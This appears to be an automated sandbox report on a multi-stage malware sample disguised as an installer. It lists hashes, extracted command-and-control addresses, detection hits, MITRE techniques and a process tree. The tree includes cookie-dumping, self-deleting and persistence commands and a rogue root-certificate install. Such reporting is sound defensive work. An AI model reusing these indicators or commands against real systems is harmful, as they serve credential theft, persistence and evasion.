glupteba | b244fb7a7b39c836a9629262eaa80865cfbaf37aaea1b1d4b880d8a864f865a4

Target

setup_x86_x64_install - копия (20).exe
Size

3.2MB
MD5

3ae1c212119919e5fce71247286f8e0e
SHA1

97c1890ab73c539056f95eafede319df774e9d38
SHA256

30c2f230e5401b4b1ea8fb425dadf4e453575884303b9fa2066e6a91859f016e
SHA512

5bb28a775c10b8b68b8c448d64287ca732d0af5577ecc4348a89934358440bb4ff6958115f14ecbabb0446d234d6f621afa3419daa4aec6c03c0af9b6a3b1558

Malware Config

Extracted

Family

redline

Botnet

ServAni

87.251.71.195:82

Extracted

Family

vidar

Version

39.4

Botnet

706

https://sergeevih43.tumblr.com

Attributes

profile_id
706

Extracted

Family

smokeloader

Version

2020

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/

rc4.i32

Extracted

Family

vidar

Version

39.4

Botnet

865

https://sergeevih43.tumblr.com

Attributes

profile_id
865

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 2 IoCs

resource	yara_rule
behavioral23/memory/2496-302-0x0000000000400000-0x0000000000DE1000-memory.dmp	family_glupteba
behavioral23/memory/2496-301-0x0000000002E50000-0x0000000003776000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 7 IoCs

resource	yara_rule
behavioral23/memory/1656-198-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral23/memory/1656-199-0x0000000000417F26-mapping.dmp	family_redline
behavioral23/memory/1656-202-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral23/memory/2788-243-0x0000000000418392-mapping.dmp	family_redline
behavioral23/memory/2756-242-0x0000000000417E8E-mapping.dmp	family_redline
behavioral23/memory/992-251-0x0000000000417E4A-mapping.dmp	family_redline
behavioral23/memory/1596-308-0x0000000002360000-0x0000000002FAA000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Nirsoft 1 IoCs

resource	yara_rule
behavioral23/memory/1404-288-0x0000000003230000-0x0000000005A39000-memory.dmp	Nirsoft

Vidar Stealer 4 IoCs

stealer

resource	yara_rule
behavioral23/memory/1556-265-0x0000000000260000-0x00000000002FD000-memory.dmp	family_vidar
behavioral23/memory/1556-266-0x0000000000400000-0x0000000000949000-memory.dmp	family_vidar
behavioral23/memory/2464-295-0x0000000000270000-0x000000000030D000-memory.dmp	family_vidar
behavioral23/memory/2464-298-0x0000000000400000-0x0000000002C4B000-memory.dmp	family_vidar

ASPack v2.12-2.42 14 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral23/files/0x0003000000013156-69.dat	aspack_v212_v242
behavioral23/files/0x0003000000013156-73.dat	aspack_v212_v242
behavioral23/files/0x0003000000013156-71.dat	aspack_v212_v242
behavioral23/files/0x0003000000013156-70.dat	aspack_v212_v242
behavioral23/files/0x0003000000013151-74.dat	aspack_v212_v242
behavioral23/files/0x000300000001314c-77.dat	aspack_v212_v242
behavioral23/files/0x0003000000013154-82.dat	aspack_v212_v242
behavioral23/files/0x0003000000013154-83.dat	aspack_v212_v242
behavioral23/files/0x0003000000013156-88.dat	aspack_v212_v242
behavioral23/files/0x0003000000013156-87.dat	aspack_v212_v242
behavioral23/files/0x0003000000013156-86.dat	aspack_v212_v242
behavioral23/files/0x0003000000013156-85.dat	aspack_v212_v242
behavioral23/files/0x000300000001314c-76.dat	aspack_v212_v242
behavioral23/files/0x0003000000013151-75.dat	aspack_v212_v242

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Executes dropped EXE 16 IoCs

pid	Process
1104	setup_installer.exe
1288	setup_install.exe
1556	arnatic_1.exe
1768	arnatic_3.exe
552	arnatic_2.exe
920	arnatic_4.exe
1816	arnatic_6.exe
884	arnatic_5.exe
1720	DllHost.exe
1656	arnatic_7.exe
1668	3056220.exe
1532	1023200.exe
1548	4285935.exe
408	3395683.exe
1656	arnatic_7.exe
1460	WinHoster.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral23/files/0x0003000000013157-164.dat	upx
behavioral23/files/0x0003000000013157-165.dat	upx
behavioral23/files/0x0003000000013157-167.dat	upx
behavioral23/files/0x0003000000013157-171.dat	upx
behavioral23/files/0x0003000000013157-170.dat	upx
behavioral23/files/0x0003000000013157-169.dat	upx

Loads dropped DLL 49 IoCs

pid	Process
2012	setup_x86_x64_install - копия (20).exe
1104	setup_installer.exe
1104	setup_installer.exe
1104	setup_installer.exe
1104	setup_installer.exe
1104	setup_installer.exe
1104	setup_installer.exe
1288	setup_install.exe
1288	setup_install.exe
1288	setup_install.exe
1288	setup_install.exe
1288	setup_install.exe
1288	setup_install.exe
1288	setup_install.exe
1288	setup_install.exe
1792	cmd.exe
1792	cmd.exe
576	cmd.exe
1780	cmd.exe
1780	cmd.exe
380	cmd.exe
300	cmd.exe
688	cmd.exe
1604	cmd.exe
1604	cmd.exe
920	arnatic_4.exe
920	arnatic_4.exe
1816	arnatic_6.exe
1816	arnatic_6.exe
1720	DllHost.exe
1720	DllHost.exe
920	arnatic_4.exe
920	arnatic_4.exe
1656	arnatic_7.exe
1656	arnatic_7.exe
1668	3056220.exe
1668	3056220.exe
1532	1023200.exe
1532	1023200.exe
408	3395683.exe
408	3395683.exe
1720	DllHost.exe
1656	arnatic_7.exe
1656	arnatic_7.exe
1556	arnatic_1.exe
1556	arnatic_1.exe
1532	1023200.exe
1460	WinHoster.exe
1460	WinHoster.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2940	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	1023200.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 21 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1022	api.2ip.ua
1122	ipinfo.io
703	ipinfo.io
707	ipinfo.io
938	ip-api.com
498	ipinfo.io
833	api.2ip.ua
924	ipinfo.io
1103	ipinfo.io
8	ip-api.com
25	ipinfo.io
421	api.2ip.ua
1095	ipinfo.io
1104	ipinfo.io
23	ipinfo.io
422	api.2ip.ua
439	api.2ip.ua
1014	api.2ip.ua
154	checkip.amazonaws.com
497	ipinfo.io
832	api.2ip.ua

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1720 set thread context of 1656	1720	DllHost.exe	51

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2028	2064	WerFault.exe
1684	1556	WerFault.exe	44
2148	1596	WerFault.exe	247

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2756	schtasks.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
2588	timeout.exe
4684	timeout.exe
2516	timeout.exe
948	timeout.exe

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

pid	Process
1536	bitsadmin.exe
4072	bitsadmin.exe

Kills process with taskkill 7 IoCs

evasion

pid	Process
2476	taskkill.exe
2072	taskkill.exe
1940	taskkill.exe
2872	taskkill.exe
4784	taskkill.exe
2436	taskkill.exe
1660	taskkill.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	arnatic_6.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	arnatic_6.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	arnatic_6.exe

Script User-Agent 9 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	706	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	715	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	925	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	1110	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	1120	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	1101	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	1102	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	1109	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	1123	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	884	arnatic_5.exe
Token: SeDebugPrivilege	408	3395683.exe
Token: SeDebugPrivilege	1668	3056220.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2012 wrote to memory of 1104	2012	setup_x86_x64_install - копия (20).exe	29
PID 2012 wrote to memory of 1104	2012	setup_x86_x64_install - копия (20).exe	29
PID 2012 wrote to memory of 1104	2012	setup_x86_x64_install - копия (20).exe	29
PID 2012 wrote to memory of 1104	2012	setup_x86_x64_install - копия (20).exe	29
PID 2012 wrote to memory of 1104	2012	setup_x86_x64_install - копия (20).exe	29
PID 2012 wrote to memory of 1104	2012	setup_x86_x64_install - копия (20).exe	29
PID 2012 wrote to memory of 1104	2012	setup_x86_x64_install - копия (20).exe	29
PID 1104 wrote to memory of 1288	1104	setup_installer.exe	30
PID 1104 wrote to memory of 1288	1104	setup_installer.exe	30
PID 1104 wrote to memory of 1288	1104	setup_installer.exe	30
PID 1104 wrote to memory of 1288	1104	setup_installer.exe	30
PID 1104 wrote to memory of 1288	1104	setup_installer.exe	30
PID 1104 wrote to memory of 1288	1104	setup_installer.exe	30
PID 1104 wrote to memory of 1288	1104	setup_installer.exe	30
PID 1288 wrote to memory of 1792	1288	setup_install.exe	45
PID 1288 wrote to memory of 1792	1288	setup_install.exe	45
PID 1288 wrote to memory of 1792	1288	setup_install.exe	45
PID 1288 wrote to memory of 1792	1288	setup_install.exe	45
PID 1288 wrote to memory of 1792	1288	setup_install.exe	45
PID 1288 wrote to memory of 1792	1288	setup_install.exe	45
PID 1288 wrote to memory of 1792	1288	setup_install.exe	45
PID 1288 wrote to memory of 1780	1288	setup_install.exe	32
PID 1288 wrote to memory of 1780	1288	setup_install.exe	32
PID 1288 wrote to memory of 1780	1288	setup_install.exe	32
PID 1288 wrote to memory of 1780	1288	setup_install.exe	32
PID 1288 wrote to memory of 1780	1288	setup_install.exe	32
PID 1288 wrote to memory of 1780	1288	setup_install.exe	32
PID 1288 wrote to memory of 1780	1288	setup_install.exe	32
PID 1288 wrote to memory of 576	1288	setup_install.exe	33
PID 1288 wrote to memory of 576	1288	setup_install.exe	33
PID 1288 wrote to memory of 576	1288	setup_install.exe	33
PID 1288 wrote to memory of 576	1288	setup_install.exe	33
PID 1288 wrote to memory of 576	1288	setup_install.exe	33
PID 1288 wrote to memory of 576	1288	setup_install.exe	33
PID 1288 wrote to memory of 576	1288	setup_install.exe	33
PID 1288 wrote to memory of 300	1288	setup_install.exe	34
PID 1288 wrote to memory of 300	1288	setup_install.exe	34
PID 1288 wrote to memory of 300	1288	setup_install.exe	34
PID 1288 wrote to memory of 300	1288	setup_install.exe	34
PID 1288 wrote to memory of 300	1288	setup_install.exe	34
PID 1288 wrote to memory of 300	1288	setup_install.exe	34
PID 1288 wrote to memory of 300	1288	setup_install.exe	34
PID 1792 wrote to memory of 1556	1792	cmd.exe	44
PID 1792 wrote to memory of 1556	1792	cmd.exe	44
PID 1792 wrote to memory of 1556	1792	cmd.exe	44
PID 1792 wrote to memory of 1556	1792	cmd.exe	44
PID 1792 wrote to memory of 1556	1792	cmd.exe	44
PID 1792 wrote to memory of 1556	1792	cmd.exe	44
PID 1792 wrote to memory of 1556	1792	cmd.exe	44
PID 576 wrote to memory of 1768	576	cmd.exe	35
PID 576 wrote to memory of 1768	576	cmd.exe	35
PID 576 wrote to memory of 1768	576	cmd.exe	35
PID 576 wrote to memory of 1768	576	cmd.exe	35
PID 576 wrote to memory of 1768	576	cmd.exe	35
PID 576 wrote to memory of 1768	576	cmd.exe	35
PID 576 wrote to memory of 1768	576	cmd.exe	35
PID 1288 wrote to memory of 688	1288	setup_install.exe	43
PID 1288 wrote to memory of 688	1288	setup_install.exe	43
PID 1288 wrote to memory of 688	1288	setup_install.exe	43
PID 1288 wrote to memory of 688	1288	setup_install.exe	43
PID 1288 wrote to memory of 688	1288	setup_install.exe	43
PID 1288 wrote to memory of 688	1288	setup_install.exe	43
PID 1288 wrote to memory of 688	1288	setup_install.exe	43
PID 1288 wrote to memory of 380	1288	setup_install.exe	36

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (20).exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (20).exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1104
- - C:\Users\Admin\AppData\Local\Temp\7zS0544F935\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0544F935\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c arnatic_2.exe
      4⤵
      Loads dropped DLL
      PID:1780
    - - C:\Users\Admin\AppData\Local\Temp\7zS0544F935\arnatic_2.exe
        
        arnatic_2.exe
        5⤵
        Executes dropped EXE
        
        PID:552
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c arnatic_3.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:576
    - - C:\Users\Admin\AppData\Local\Temp\7zS0544F935\arnatic_3.exe
        
        arnatic_3.exe
        5⤵
        Executes dropped EXE
        
        PID:1768
      - C:\Windows\SysWOW64\rUNdlL32.eXe
        
        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",axhub
        6⤵
        
        PID:580
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c arnatic_4.exe
      4⤵
      Loads dropped DLL
      PID:300
    - - C:\Users\Admin\AppData\Local\Temp\7zS0544F935\arnatic_4.exe
        
        arnatic_4.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:920
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:1656
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:1948
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:2580
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:1928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c arnatic_6.exe
      4⤵
      Loads dropped DLL
      PID:380
    - - C:\Users\Admin\AppData\Local\Temp\7zS0544F935\arnatic_6.exe
        
        arnatic_6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        
        PID:1816
      - C:\Users\Admin\Documents\mp0Ix91U5hXWamuMVCfymYX6.exe
        
        "C:\Users\Admin\Documents\mp0Ix91U5hXWamuMVCfymYX6.exe"
        6⤵
        
        PID:2336
      - C:\Users\Admin\Documents\biy3N6UWxT80BdlhDzXdDff2.exe
        
        "C:\Users\Admin\Documents\biy3N6UWxT80BdlhDzXdDff2.exe"
        6⤵
        
        PID:2324
      - C:\Users\Admin\Documents\sltge0mLzDVjoD714UJ4Eqhu.exe
        
        "C:\Users\Admin\Documents\sltge0mLzDVjoD714UJ4Eqhu.exe"
        6⤵
        
        PID:2308
        
        C:\Users\Admin\Documents\sltge0mLzDVjoD714UJ4Eqhu.exe
        
        C:\Users\Admin\Documents\sltge0mLzDVjoD714UJ4Eqhu.exe
        7⤵
        
        PID:992
      - C:\Users\Admin\Documents\JLCHIku7QrXGCTKGhWdoWIfh.exe
        
        "C:\Users\Admin\Documents\JLCHIku7QrXGCTKGhWdoWIfh.exe"
        6⤵
        
        PID:2292
        
        C:\Users\Admin\Documents\JLCHIku7QrXGCTKGhWdoWIfh.exe
        
        C:\Users\Admin\Documents\JLCHIku7QrXGCTKGhWdoWIfh.exe
        7⤵
        
        PID:1864
      - C:\Users\Admin\Documents\G3z0yVPmyK1oJYM1psbl7VAL.exe
        
        "C:\Users\Admin\Documents\G3z0yVPmyK1oJYM1psbl7VAL.exe"
        6⤵
        
        PID:2284
        
        C:\Users\Admin\Documents\G3z0yVPmyK1oJYM1psbl7VAL.exe
        
        C:\Users\Admin\Documents\G3z0yVPmyK1oJYM1psbl7VAL.exe
        7⤵
        
        PID:2788
      - C:\Users\Admin\Documents\a_e_WbzsVM3hVxi07KaAkJeu.exe
        
        "C:\Users\Admin\Documents\a_e_WbzsVM3hVxi07KaAkJeu.exe"
        6⤵
        
        PID:2272
      - C:\Users\Admin\Documents\q2vP_VWoM7bb235AUFJ27HIY.exe
        
        "C:\Users\Admin\Documents\q2vP_VWoM7bb235AUFJ27HIY.exe"
        6⤵
        
        PID:2256
      - C:\Users\Admin\Documents\gyP07mtlM_LbXl0G9ut3gKd2.exe
        
        "C:\Users\Admin\Documents\gyP07mtlM_LbXl0G9ut3gKd2.exe"
        6⤵
        
        PID:2248
        
        C:\Users\Admin\Documents\gyP07mtlM_LbXl0G9ut3gKd2.exe
        
        C:\Users\Admin\Documents\gyP07mtlM_LbXl0G9ut3gKd2.exe
        7⤵
        
        PID:2756
      - C:\Users\Admin\Documents\4tMTHGn8N99Ex1yNdFaGom0q.exe
        
        "C:\Users\Admin\Documents\4tMTHGn8N99Ex1yNdFaGom0q.exe"
        6⤵
        
        PID:2236
        
        C:\Users\Admin\Documents\4tMTHGn8N99Ex1yNdFaGom0q.exe
        
        C:\Users\Admin\Documents\4tMTHGn8N99Ex1yNdFaGom0q.exe
        7⤵
        
        PID:2624
      - C:\Users\Admin\Documents\6A_T_fxgdiDgCbekpjSjYXaL.exe
        
        "C:\Users\Admin\Documents\6A_T_fxgdiDgCbekpjSjYXaL.exe"
        6⤵
        
        PID:2224
      - C:\Users\Admin\Documents\sq0ZwKZL9ozn_BlI8pqhahIL.exe
        
        "C:\Users\Admin\Documents\sq0ZwKZL9ozn_BlI8pqhahIL.exe"
        6⤵
        
        PID:2480
        
        C:\Program Files (x86)\Company\NewProduct\file4.exe
        
        "C:\Program Files (x86)\Company\NewProduct\file4.exe"
        7⤵
        
        PID:2868
        
        C:\Program Files (x86)\Company\NewProduct\jooyu.exe
        
        "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
        7⤵
        
        PID:2932
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:2152
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:2120
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:1164
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:2984
        
        C:\Program Files (x86)\Company\NewProduct\jingzhang.exe
        
        "C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"
        7⤵
        
        PID:3000
        
        C:\Windows\SysWOW64\rUNdlL32.eXe
        
        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",shl
        8⤵
        
        PID:1804
        
        C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
        
        "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
        7⤵
        
        PID:2064
      - C:\Users\Admin\Documents\QdyIS0RAtOE_FwwNs0BQ9lXr.exe
        
        "C:\Users\Admin\Documents\QdyIS0RAtOE_FwwNs0BQ9lXr.exe"
        6⤵
        
        PID:2464
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im QdyIS0RAtOE_FwwNs0BQ9lXr.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\QdyIS0RAtOE_FwwNs0BQ9lXr.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:1620
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im QdyIS0RAtOE_FwwNs0BQ9lXr.exe /f
        8⤵
        Kills process with taskkill
        
        PID:1660
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:2516
      - C:\Users\Admin\Documents\Jrg9McDagQzUoTscF1Sw07fP.exe
        
